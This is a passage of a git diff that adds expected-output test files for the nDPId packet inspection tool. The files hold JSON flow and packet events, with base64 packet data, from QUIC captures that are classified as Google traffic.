+01232{"flow_id":1,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":11,"source":"quic_t50.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1598618820,"pkt_ts_usec":815062,"pkt_caplen":658,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":658,"pkt_l4_len":624,"pkt":"AAAAAAAAAAEA4e3RCABFAAKEAABAADURN0Wm8LzRKJp\/yAG7wqwCcCVcUXB99WnSuoKachwEOfIRLcH5SoDBLWkZfevrUACnN7x5PTsGjNLlnz8FcsGwdsTw4sDFj8QOEUC+YYCdwI54IJoqGf912S1b1FdDgLvDRmL\/pSi0amJssVMPIjUAMel4Wt0WNkA8mDqDvNPfps3JcCGaeNj\/3yjSa4+t57I8cKV0WXPkpC+phqw2FaZ8OOku61ZS4JU0N\/\/JW4H98K3fnPlqACKrvvSryguBtj7+gm2ah3Q4CNa6JgLfFR86iCy4mtz5Qj71Sk1BsYNVaHXhKdiN9YQINgOeGR11izBn5mrjEbCUi4bTDsgdECcTfckpxC0clgOJq0b0OHxVz8Md9\/\/2fQGqic145ckjz5\/PsMRQ5eciEoF2gSsiCSf5hdimON45Hscfjv47O6FtFnsCpiZlLtgfMHBZU8BBZyxClfh+wTJHrokox5nYwQ9lCP\/smsZCZYV79Y1uselq3t4x0Gmh1ONAZyLenGn0N9uFGO3AniEbMTO\/KRV0HiIhlPcJYQ0I2vm28RBVfvT7Cd0TqRFOwxUCe2n2KBLd6f3jOoCsU6l6IoUDGvjPoKqpsjkOPYRsy\/x0VNRjsTSbbqkMwvzFUu5LTEz4YjqmUS4N8Axgpeq4HHhu8CAhQms\/ToHRf95qsuR8cJCOz8mG2ojiJ5vZ9+Ox1TLpjpyqIsxzVJ8GQAhsr0liZUeALg6A5HwDsClfNYDcTsH95Wt8224fow2h4tBP7Tn5fnepdjI21608U9ge+hMCZafezkCNTq89vMWqtX5wGsIOnGmc+uB0hScqDEMBTtNzsa2W2wrzlB8tsy+Tlvdydg=="} +00440{"flow_id":1,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"quic_t50.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1598618820,"pkt_ts_usec":984161,"pkt_caplen":75,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":75,"pkt_l4_len":41,"pkt":"AAAAAAAAAAQAMt+PCABFAAA9UXFAAH8Rnhoomn\/IpvC80cKsAbsAKbCuQFVfMtNfKdhjvCDG5lHY2Vep\/b8otkMpD\/Eek8ZQl9VQ"} diff --git a/test/results/quic_t51.pcap.out b/test/results/quic_t51.pcap.out new file mode 100644 index 000000000..b14679a55 --- /dev/null +++ b/test/results/quic_t51.pcap.out @@ -0,0 +1,17 @@ +00485{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"quic_t51.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1598620434413,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"187.227.136.152","dst_ip":"211.247.147.90","src_port":55356,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02219{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"quic_t51.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1598620434,"pkt_ts_usec":413428,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"AAAAAAAAAAgAH83gCABFAAViXjpAAH8R7IK744iY0\/eTWtg8AbsFTvswwVQwNTEI\/5QVtbAFhg0AAEU0lc1seKsogM0xJ2my4Aiqph+R\/2N2Tlopv6L1CTJ74mgIopdeTMsbdYmmZHP80OXizzota6YFHVZ9VeAcEZo8pgEgiYZUg70bNed022uBY2n4AIBJaoTaZc4dlK\/B4TiUFC+WiYMdxcvH3S2VlmhK+Rc2gUQHqAYLkzqvz5M6NYLldilKxcCw\/ToJ+zu5fHTAbQipFFqbD95GLa7oBCU7jPE\/wj2QE1M9Wk52+SrgbNiKCHm0Oi8\/\/aC+8QR8oPQVWsQzjkcyagMWDaycHo+Z2gh2YqGCJoepFNsqgtO8uWWNDiaisHNHQDCPrCt5EDVvLMLkZZQTcE9bxIhJucB4CNr926kRAjaB4Y5CqDAEear5TtCJ3Iu0C2bzBjoi5J9LPiwVBQYhfxtqGdX9O3nANKjdbMVqvYl742MGo2YFm2J507oPMBXLqPJW2a2j\/XlrdIcqLJLXy1ruiet2Yfof5cTaMXQp6wyOq8s2kLEeb0RqG380zHAhUvwTfCiEYvwSN8+LPb7d1HKu3JRvbfM4A2u6D3\/ccc40B8jpt6t8mVTCa92M7s8hgVfDHCvoiaTxRF07ULZWTbuRFjLXA3G\/QLzl0b2QQA3PRqMO1r4YLM9IhL+9TjIm9kskk81nFsbcqeUPPCIl5SvakooZ1Ne4vlHJM7vcPwHkRJHa+PMjtknf1D9FmcaRoK2gywFTRk2j2RKXeNNGP3fOGBMRmVstntMO9HlCQR0pqWkIJ+jw+vDqFHMVZBwco3px5tJKsYik1W4I7vDVokn8tYkCXuWkDqmw9KvnktOeNU+eoLbnbQi\/AJnaCX22\/pOnvMBDUqcAEyxhhPUDxacTTuyCy01g9D7qNJmAhz3k5MC2zTm67IILY1heZ2AuYvQwYQOss3bJtjPNa+uV1pVbQiVw6S2nvxKgtq5Z9DSuXhvsbTOp5GSq1YV0eewMUT6nB6ejScFWGv+XM50Rf10iuSgO6pXznyY29qMMOcdfxFMWk8ZhEALkKLXeqjM+FjHgPqVYhtjd0Mxa3xCi4pEnff1YF4nj78KYHZrV2zxl6ihclVVh4iHXNFGI+s63vsFXEOTBejfPsr6+VmTDJ1+o1kNk93XUE\/bQ82a18NJPdXQ6kf26Qjcc4RqnTvAmrWh\/6fmG4zIriY7A9z8t4eO9Qfr9TLO3k0B5JOVnWVTqlbOvrJgEzV95Hv0ioO0xIj5BnxrbLnlwbNfPjVGTcRNAh71gU32J8rr6rCxxCaTv4RU7KdiQ+zigC0LKK7x4OPs9n2Ka2KUPy25mrLQ\/hk5IjtzsrqqQ2MzNcZhxb0kkNCxELzOQUMbpkFnw3XGvEDCJVplyR1UqjiDFOL8\/JfuephE1oyHWeOYVwVd2Cwv2PGGx05T5JJWiwFxWUNPRdBpTvDS0w\/p4Nd\/c2GPaorYCv1rEFAbYJpF4F6I30H8WeSXKzzhCDJKK0+cDwsUjqsSRJxU4ftS+uYB0XeJmKhKFuSfMEVI0q1YpMQZE\/G2MC4zAighNsEoUwNwWYS2545Iu3+Eegoe47B\/k8tCSheavZoHCQ6GLnzYKEdctMGvZqMVOXsPQnYlobmVfhCoHYAqTL++rI+V2XgKmzpdEDycwwsSLkVWoYU4lGAoPMP3kxasfCnUHU\/V6gkc7C3bskka9cplZd3pC0DtI8Ams8W1VIknYpHJDhbirGSRTc6oJbJQK8NbF0mBg+7QAzF7Cg20VSPH1oCq1EEodwhHlQBTHEkDIUOOWm8A2kePv2bx2BTxVuCDz2D78zh51"} +00754{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"quic_t51.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1598620434413,"flow_last_seen":0,"flow_tot_l4_data_len":1358,"flow_min_l4_data_len":1358,"flow_max_l4_data_len":1358,"flow_avg_l4_data_len":1358,"midstream":0,"l3_proto":"ip4","src_ip":"187.227.136.152","dst_ip":"211.247.147.90","src_port":55356,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"QUIC.Google","breed":"Unrated","category":"Web"},"quic": {"client_requested_server_name":"www.google.com","user_agent":"dev Chrome\/86.0.4240.9 Windows NT 6.1; Win64; x64","version":"TLSv1.3","alpn":"h3-T051","ja3":"92e76078d514999cd950474995dab2b5","tls_supported_versions":"TLSv1.3"}} +02225{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"quic_t51.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1598620434,"pkt_ts_usec":419300,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"AAAAAAAAAAIA\/tPQCABFAAViAABAADcRkr3T95Nau+OImAG72DwFTvx1wFQwNTEACP+UFbWwBYYNAEU0cA7ob5DRu6SNsqDMEz7qri8UnfijZV8Hhw\/oxky0x+Zt0s6erWm7kWn2+1owrYTdI9p89OpW\/6ptpwv9v0J5BjJyyLuuQ7qMgzGXDs2ur++juUsUpOdkAs5K5BYVfQAmPmXEGyVgmyCeUg1T7Vj6FslmnDV909IngQqr2X3bAL3as4fB8O0bAq64I2nnjXRSsXtOF+WecFDOIkhsUozc+8M2nJh6kczAN6BO7Q6B24T4pTF7f\/SWotAh0wmioZGWvmsK3tbjrCGONmSc7G6EA+eCMtEUY\/yq8VyKOSmIHald\/L7JGCPyNYCQuoSWiWNaW\/I+iZ2Tm83YJ0ULZZc8urwFDYH3aj1AkglwflqENARW1+\/0Wgf8CdNT18FiabAis+X7vPL\/K0rfVmIy72rlRNRfOG7y7nzx1KwQOQc8aCVF3CWYU+Lmd10cKRMsTRDen+t7CfJT6D6czKmRS9zHy8defw2VL+sr4ea6knMol1lydS5om9MxXCYpqegXuWZiFTSbzJvhE4RaqOqWqlC3CyDO4ySp0wcYRr6Xiz\/ypHsBLBgujZNocUdxB92srmLhWvU+EKXNqnvn4sN9tP\/B4VI81UNJfpKqafd5TbC3xVerPG2FpOE4rg1k2rQi9r6v1+PQ\/d3R0LlFcbJ1hI9fgnNKZUfeIejFNzw84ZCPAGKEZF9DRij\/q7+ynKTHsKprl5SyrzqmDatgR6jPni4YdUIipVxz2xAMDSfgGHJudxWet0g70XvUgRUnZwnINCVHKug\/Cwaar4s1XCM8uhzoEef40bHIf\/1cPPikcn5BGvUj0yq5vKOgKlUAn1Pgd3RmxD4udRVK4hr3Qq2qz0yzGHjPkF5V31PdO+LbljCDil0atM9nNzYRQDTxXIy4ROBhbRF0GC5xxy\/5G1Z3EVEXnUgV7cKAoSoRYsJk+ehBddHi\/2\/aZLTP9GUgaj03e1ZAUqg\/pLbgzkOggtkBYwlEystem00J3RiW59azSXPWDzpQD37GvUqWpvchJjuAPROhp0eQOeyP6Sm5m8Ha1f9MDT\/mDWqN\/iBuFORPOJebKiYDmtBTotFqfXW1txgynw6EHUJzSE+pl4MdTTWGiKeLLjK6VcgkjK3QCvZi2YAV34jHwjHZGw2P\/U6KrMCfYoKLgcta7eGwEJgt1TEOATVA86YdSNrUK8Cm6qplxo7u2vCTdHfHERZHXlWiV5V+M6yg8jJ+w71hYe+9QRnWDWxxhFwqS3Rom5NgfL3qyZPAg7B0TvVcGC3k1t2hVxdIBJT1YLB9P8xcq205KojLAkrnJ6A03YtC2cE+\/GfTI6rrSdcn22uQHH1uwQgPFlvo5F8SRGnmtqbBCoQkhDA10opFpEUHAKVRysF1xT\/NgfiMQHD+An4IrPRfuv9gDg0rUkwJww22wh5gLlRkZ\/Syy5BClTzH9Eje2q1QlkG4NyNIdxlgTeTWfrV+owYm4Q+FXDFSqiziTTjYt929oBaNekN7DaLZNKBHzE9aRpnZjKaGJOIkilbSRnfMsOP+KhOdyxkYqJB7lgyVuE7zA+Cs6QfiNfeFBdysqGJcMLaCJe1XQZYseYZCHv9I1fYRd7rHJDJ5TLxG9ZoKBvyy9qAFruCnQdJM3kRJUF0ZdxtTsL1YtSrJYqn3hcGRfsN64Wu2ioNCdgwzJ\/IOr225URP0O\/yfvAjNTo393KgekGIplrSAr2vqB7j6oyQmlBJgPRuYDzTKmIMBKNHRY+Gk4U31TV\/ldcN5g5htDYX20DA3i7tEfKzfbUYY"} +02226{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"quic_t51.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1598620434,"pkt_ts_usec":482713,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"AAAAAAAAAAgAH83gCABFAAViXl9AAH8R7F2744iY0\/eTWtg8AbsFTtamzVQwNTEI\/5QVtbAFhg0AAEU0KsIg8w2st8fMy25uq6gsPA7KRO4wWARaQxn0e+nvMAG\/ncVOK2\/1iV8zM1GT+gj2yfRnYitTLViCwPF0TV0R7p64xnLqwrHTiNaW89JgMAHQze00LP7FiTbOvqpo5S+7AzCO4J36LH8gasnIPNye5ytyGP9hxarM0Gwv6wB1BKIgh6Hfi9vN\/Jaq\/hKaWtnsFyqFx21T1U0YmQzCOhcYGHZNHNGEmxqlfOiET0cy7A2zooythTNQBScefWz4fyugA0KO5z5EPbOCuLPnOhJ8u0jAA5snZ9Av4lfTCNurCTo\/b96gqEMXFCAN6kklskS6mSW1P2yxo93FRN9w3VFPyMe8m7WnAxPUMrijM3bZFrpYXz6N3LoSvj\/7t1mbaz3Ew6W7CCET2\/vUPuty0yYuKN9hlZRGZDAOI7p7UV84zBa3MKUoIB90BBwtqXlv\/AcyfRFhSrAf1TPDIen8IRojBr5qTqwwDIcvMREVIsmeXYDDAIh87njz+3l6UiC0r72z0Vz8KlwPmvyd1tNbK4UoVu5yliqV7BzHAT0P+flRjAVL+Vtw\/1eTO0KLmizThDqycqyAF1MjS6cC4BRlgBDuBvC7oqizuHTk4JOICP+TLa71t9U0MO4SvptmKRFy9UA159ziHHDRbAhIzzVEm+HGxTjT93PUzlkT4beWAgYYW5swcH8m2E+qX\/jfh4l+RAJ7s1FC99eqQD\/G2qHKz49sTvtw3eknSSHiADw1dFNDiGytHeAJqgKsYZ6xbxYgMT8vQQJWpcCaoPnc1R\/36QBSKDfO0Ei6I0Nk2Twp2jW7ybYg3WV9zcO8mcO+t2rUANioNNaghKiQ6\/\/kCvnfaOZl9\/nMaaP8oRI80YNnM3bBLePCUoIodPlfRsS+qRORwVaYVbmTkVd+7OOE68KIf+CtQJzWPG1I9szX6EUokwcVW4JeKB3DLXSgUJqbrCp8nB5Gt1Xl+DVmAWNn0zlmAkUkIYwVaRlUBt12nmZM5GfCFjeNYwyxKhMtco0zqNoFh6GPimEo\/HJoIaculB01PGh4MlKE33m6lcbQnV2mcjQy9+X6G7gJAvssvNVim+h2CyUIa0AFnvBEp0BZ0LQBw4xxW1+LO+851oEKlpBHf2CaPTJQbQ3lYLcFUbbZ7WxtncvtHzy\/SI9UgKeWcagnCcsYLbPsnPnloEl6cnUj6vnGVoFZ0zI4TVPk88\/biBoFXX37AYSAsISWoXJh5fdyK7Ub3uTshAtqeqBBTUeUFjb5Aj4cdCLyefeqdX7eVX7iolZTDjMHw6WHcQg9j8QT5ZehE6eQ3EWBv\/dyJkxi+P\/\/5RRqzAOol5xZb6h4LuhsvzWHQihAaP9MzFNZJKsrSoe\/spLPEQi09YKZ53xMfFjPTNozP7awNtIb6QltDJNIByFfslEQklWBp3nSDDraHwFBspLwhrXO\/4KJq80I0e6UvL2AGkUJ3WcnYVtrSbxxk4APJ7JesOtrVvfG0zUeYMWMSCdfwkF4KodqZGtJ3QATjzBea+nTD5uHk34dDyJnSJKk0ILq0jIFLho8LlWIyJH4QOXOz4qaWrv1Yq7zohspvZk7qqBfzWtq9nyRWQ1TZln6OTuRj1nSwDkH3Qwyv3P3ftVCIjgLduzJ1KxoPir\/gAp5xz8YWBMXoD3IJzkv\/PGQNpizq54tSdx\/+EwNQ0FXkMrTDVKVITAuSnBIkg9sH6JW+WpNYsbAPv3JnEFyzt8fIeM\/r0Qmf+N6zxgE9jaSg9C2Ue6YSiQO2VAdyYTxTvnFaxwR"} +02232{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"quic_t51.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1598620434,"pkt_ts_usec":530068,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"AAAAAAAAAAIA\/tPQCABFAAViAABAADcRkr3T95Nau+OImAG72DwFTube4VQwNTEACP+UFbWwBYYNRTU7ePJ1K+FSjOzh8I+88Xo3glhGN\/ISVgfZLjon36o\/Ic8wElvtdYWOln5kitImSZYvUwk1fG0vvw0gN4Ua6Bk3jF4z2+DlEmg31OHq+boraULEIZuAwjhjODmyz5ftYwgYtTSwoERmJiUKmhlyGLqx3S+tX8EjcRIqYjSOyHMu2jndr\/C7BAPP7JVT9ieYljjMWtEQ72Flay2RpFT4RImtEH0\/RK6iWf3t7LgbxjhC97n0j1DDD4P\/sZZ0bVIicKPYmXAEngVSoh3oIH6poziu1qlEA556yxALTbdx8jtmJX0Z9ooraLIBrb+pueGEs6xQAtF7up+LVAjymIfJeMB5q1EfGiD2ya\/Jh+zUG10j5iOvBK28sWnXxVEamKBupu9qXaXG0OjhurIE3b2Aod2vtsJ1NalOos0dYc\/g5+XXDK8tcQHad8aZpGNSUiRyAtmWcaYe8vO\/\/qYA5pPey63z\/sGlL7Ey0S9M9ZT2ZRHnqlxrqhQIy7XXexnza+a3DNLwUI04v3Ks1B1peq0gsFraKmD\/6yO0vbt0fXLwVt2hr3SDHm0oGrN74iZrIwUWQiIQl22WxQHTTjtYOTcvqWfO7uam1Ph5DVbFaDddigRvWdhF73OvmxThMwCc9l6X3P\/tUIdb8CggvQWiMRN5Vhy4Rljya+ZIOcdjbzMw68oRgdgPhct14QVofXpMjJfC3oqi\/nNbGLQ5rYKneQ7CWh9RSv34L3R5RDGC\/pHwyv6PGgI8KRf9+QUC+7gYPb+kZQquYvru8Z0knElk\/9u3Xyd8knK1jpgFTg1HNdqhCD3oyFIuAFRWqcgNxU6wz1LaRi24VFE+eJ0o+rsi\/pnfI0su+wrGhXYRbyyiy4ZzbqahkZoPZ2zQGAKW1nnvD6p\/zaLVXZsU4jxLWam2WqckX1QTbgPxB0wawYNhyf2CAAhEQ29\/cwWUpxFyoXDPB+hK4kW7liS10zysc5bs+sslvGCpqRb0Lis637gfgiMEACVosS5TN56wDxHV6753I9W1zSBCNXxUKOAdDNb1MGhBZT\/uUW49hJ6JXcGEhfw+P+5AzMdiqKpUSFKgaiqJSf3iiv2\/RtnFbJ1FaRBOTOgw3ARkcPvJN0sfzLk7RKlSqTCXk8peiPFwt5uzAbWqrhfe\/Yen8D2DWvWSruKHIC7o+GazJ+\/eyppnocCPGQQZ2lonOQT2qyNSZ9COW8HeAaqf7QCJhvb8S9SVVml5KBhnwRNbnuZICaxg9vyFjeBwKI7SstbJ3b7slReERnG3DvEqM+ouROXRlpGgUREXlGwb7N2UJ1jjo460vUe38pW2vZ1XnXYGDBL3642Nhsv8\/xSPSuRmLvvooBVMWLWW5v+LMlMcoNIIM6xibupcxuyIqKDqNmsScanfhq83xCw4xKptGbS9bu\/A0yrmv3Atgn3WXnx2khAoVngZCR0MbqmA7T5k\/rUKhB49pS3ip3KT03PKvjuwDr50ynUXfZOYJ3+OmI37LBmqEhKgv5YHHEjRB8VHHXAh8Aok+ht+KljGfYLx0rx0y2IXVcxRnvPFVtHn6kBareUX1Lz56co6YIb9788QnPlkfq1D0P\/\/4uwz67uvdUChfS0JSNQ18zYOyJ360r3AVfKXmyQ19aUMj\/EcNueVwU0nbl2KSsYn1Gfl7zj0ewbm+BiPQNHMgAkoRMw02Osi\/TmhB+pfcq61IRV5796uYYuP\/e1+49LMsN6JtJapar+\/bfHd+ip7c\/\/L52jGcE3Fey3bVNYI8YmxgiEd0S1usipgR\/OJ"} +02219{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"quic_t51.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1598620434,"pkt_ts_usec":530087,"pkt_caplen":1392,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1392,"pkt_l4_len":1358,"pkt":"AAAAAAAAAAIA\/tPQCABFAAViAABAADcRkr3T95Nau+OImAG72DwFTvWw7lQwNTEACP+UFbWwBYYNRTWFFap3NZueejSHTEbypHeKREWRxqFhCyZ5IFZ0eMPI1H48IlicfZNkXoAWlnYiFV7bh\/SgyFOQ1pzqpY4Gn+dZg1igPWwPXjEkbDJ6Uie4ErETtBEXPCHdh0EPbcG66CEGsqP3FcGhBvmBZ6nLZXtHGFm8TZPZLCjcEWUg3j+yh1uJpfKvfgdjQXh\/BKjL946XeM8A3dQwTCj7w0RU4XQ+LgKO5R5jUOWwNACvmRA4ChETSCDHR4\/BAzDovDeZBIcfCGhDNPuYCn0YgSbiKK\/zKtEbn2g8SAWOGtzORXbtbz7cr3FZq9+52D1ciyRqZMVAhZJn6boHkLy8FiSsJcgUNmFlpFnM5CbmVt+Z3TalUOLmIad0ZBJ\/frS25nxzdMvyMkHuNowggmF5lhEeoHaWyFEIcqz0HqYgX9hRGG6fJHHJDeuqY2DZzkMFK5lXdq830OGjj5x2saXsr3OlkQRqhBSGhxG8UUKpcbzUIRCc14PBKwtK58SIzfKg9C2dH1Ndip\/iMgaZp1dLSjMgGMxpFjTnm18D2DnhMbRC3SF0n9NQv1yxds\/5\/VLS7vlRw085hWdBDcF5JsrSqCb7FrIGqCAJ6aEeEk2C5NCIEHLGpE\/8Mrk0r3V+oyUCi5EUJoj7yFrgbAI\/RLP2DX5PzYPxVTVcCPNWxwAsonFHo2UzqB9GByR9XsVOyiNMiXSmCP1h7RNHRBTW+W+GEKnZsHlit\/daPgCMDsn+uRJkfq08o0Wc8dtlQdBvGaiOyAz5kxn9XlLa2XMJVdY5fa0fvmKEA8kLRIsUWffWkNMWjlbFbe4\/4K6v5\/2vl6j4PIKwrTE3NX480XOutB0tHFeaBywMhTUrJM8\/2LEUuohxcw8ZJUMhyz8KLelYrkfR4ZEmPHlrlks1U+ptnZRctCqp6xS15oIDC2K9IvH6W4XVPXW5E6wTMgi2mDpZEkWMsRcntggQXrcuBYU6Zv2UWEKNUfFTBgz1KVhJpmpS4Xtc7F4NEQ2NoEIYQl+RaDfoFKprDp3shiANgPwfFEVHOLO72rKzBM1JtbcQAk2OwIiNamkunnJ\/nJitxlIW52Xeo0s2OwSYNPFF5zyhBUq5ylZcmxfa6MxT8JqgkvJT6UrrMDYFURtuX0ryQCk\/XPnIFL82IABneSi4Hs5V82gBRFJuY536RKXy0Y+Fmmlg3ORBkeur7nF4WNLwf4uKdeZDa4zi4F5ERbAlPepeCgnqktYXzIIcX+zttEmBzBP8oQgxfobusz6BiWXRPhFCorFz9af2XffpBUFzon7jFEaUHMZEWx2T\/G0b6rOVrMUsciysio8OUm3qepoHWfs017iLVwdUjBzLV8bfsI876uYCB7FOOWmpFjtlfEcfFvovuxYQo3c2P2+FTRFibJG3fxpLnuZL+xZ9WuB0sUCqoGe0Nj8mWgJjvIMlZr4UBHPVa9FuCSvw43Jx3Z4zkFEFLwlnXF7XomFdjjzfNyGEva90KOeWy3V0Xm36xhL9ZfJd7024bmBrSU07\/OIwQL4RM2pylqUn8vtXHdDenj0RW6L9cUJF5+gefDnLwPN\/LkqvDQ9XoQLkYPyIOrW3yOipSRZ6qssVteVhp7yz6wIlf+om4vamOC+pjDHdk54a1\/tUFkk6iLfsqzmXEDMc9twzy8aI6ruHx9Y75G06eKdfUoetoe+oo6I+bKN+bF3ODBFJJL3VoG2yoSGLlcmnzauulsMAmGP4trS\/oNUS7VcK8uv8Q4iCrkL2Z7LQ3A3kywkt3RVfSW0P5p96Zzps"} +02032{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"quic_t51.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1598620434,"pkt_ts_usec":530120,"pkt_caplen":1254,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1254,"pkt_l4_len":1220,"pkt":"AAAAAAAAAAIA\/tPQCABFAATYAABAADcRk0fT95Nau+OImAG72DwExA3S61QwNTEACP+UFbWwBYYNRKs1r7qUFw8KZlwjkdmM3wjgCkbAXN69fA9153bHybWTKFHQ5+\/NfYpLn1H1ZsS48ev2UhKFPQPa6KY3U\/Jd8fjFcIsERoqI53rlwC2CIrmM2CwhTr1lwYThlyofq5jI7zrVtj3uruKWhS+66mgVTk5szRTzIZ74tolOuY6SdJNNFS5uZqEy3VmVb2OaU\/br6n7nrGAVt2AUi+n83AKhMcJsFiLVrMHgCCta2GyXVCZqyG8r2sxOT0ANrBy5WRoBSLLZlCRLlQBbBfs8vBVIAXCEG0zRxkoN0panP4iKRh22a1NmlHHgZWEKY1ETrxEuOHUFKVebaysNLPyP1vtFAIgKHJqmvsB4I2Kcf5OJWSqfIRph2kDG2EzPzk5s3An3sUAXxO3FFoyOsYwVdUCDaAbJ8JM5g7ZEI6zPVBGhcMy828+zw7hfikJ0S66aDGRm5pYWyRCJ786cHiLXoQYbqonEFHOLPxCBIkG0EaOyWt2hNr8NUvbKXEbaTHkjnGo5f2ge4VYqIUQTtH3X0JTbeq1E5OhBLmN\/D7UEnSmc3XjqE7jXUDeYwZYXzAaXSLvqVm7q8Jsyz7BSsX983nM5mXfPU\/w+pnGTCRvFJerYZWm4R0yVKadYBaJyy\/SVlgJDIbAf7u5LHV8DvJUKywPVRX5gmgV6Ej7gHwvVQZyVowfc651qiTkP\/dpuJATOkAHbcUdGoQG5uds30FdwcYBtXZ4IOsPeaHzRmCM\/+uoLjjIGtyK8DLGc6HRzguB\/AO+js\/PpxiniUWJNfDV6REDcLibN9NAN6otax5V8M+UDkaIZW6rvqaeRNKu6k9sM6VqkQP5Z+SfGlpxwAwTbdh\/OZ95vjXD3lC9ZMf\/m9p\/rsiabVF8RnmpBTqb\/0RSzkPs4GAa11ki+anmSKjW0un5gaT+QZNiXi8c1nQ6uxZI8RJQO5zFFuiHL7Glem3k0apuauoJ+xkoavkuuRzYJwFRzuLZgWizxmM0KfnkgB9soxrX0uEbtKSUZJhQl5zyVJWA1gqS\/e4qrO6lCzg8cDKlSaYi0uU+jL2En2qYckRMbRRaRbL4STrjzYFvO5s\/i5Be3XNlFnxEG\/P3dmbFdIiDDYATwgkK6PTAHsOeI3yxa409hcYZ3ipkQo7y8AEpQdw3rYFDvjraKnYkLZotjQynbUvOj6xMW6OpPNX2cmDusttmZtWn1mO2CZRjxVO3bpv0CGqusC60+cPxJCKNwkzVy10WmlNeo1yIPKrZwNm6N5kgz5aS09uQhuk7uGo+Pz7\/9FwrRgXoTSjKG+0GadQ1tmNBcUppwtulq5GnFlMImT5wVraVjohCPMUIxl5CeRWN8jc+ylv353rqjHHr18obo1Tabc4rEjkGtO5WGnhEgi0D9lcm36tvLJ+oxarwv+FiIyZ2DpYnRt4b0L0N47cx4Qxg1XgJNb+lAjNPm5YWx86OmxLOv9J4PPqmJgwwrY8BHeB+eEaaHQATsK0Mxa7wmbi247117UPJCBxZhyNRvqPxML2rHRiKRJ8AEPyauZ6rk0+7br+SWhnyjBNLKu3ulGf1ME+X060whq4pS+tXq3CSu1cC0eYXx3osTe70F"} +00449{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"quic_t51.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1598620434,"pkt_ts_usec":596274,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"AAAAAAAAAAgAH83gCABFAABFXsNAAH8R8Ra744iY0\/eTWtg8AbsAMSNX41QwNTEI\/5QVtbAFhg0AQBh9rtadI3ganbvAnx5ccDKOIKuYSWu2nsM="} +00449{"flow_id":1,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8,"source":"quic_t51.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1598620434,"pkt_ts_usec":598591,"pkt_caplen":83,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":83,"pkt_l4_len":49,"pkt":"AAAAAAAAAAgAH83gCABFAABFXsVAAH8R8RS744iY0\/eTWtg8AbsAMQxC5VQwNTEI\/5QVtbAFhg0AQBhAJlUqBNbDHLc2xPldLvOQxb8CRv8WY3M="} +00495{"flow_id":1,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":9,"source":"quic_t51.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1598620434,"pkt_ts_usec":604426,"pkt_caplen":115,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":115,"pkt_l4_len":81,"pkt":"AAAAAAAAAAgAH83gCABFAABlXsxAAH8R8O2744iY0\/eTWtg8AbsAUeG04FQwNTEI\/5QVtbAFhg0AQDhOdT9BfGn3pgxttozTGdte25pdlwMxNjeT8RTzbSVPQ2s2zKzmtJPCnBGxF2gcrVqkJysP3L+Vvw=="} 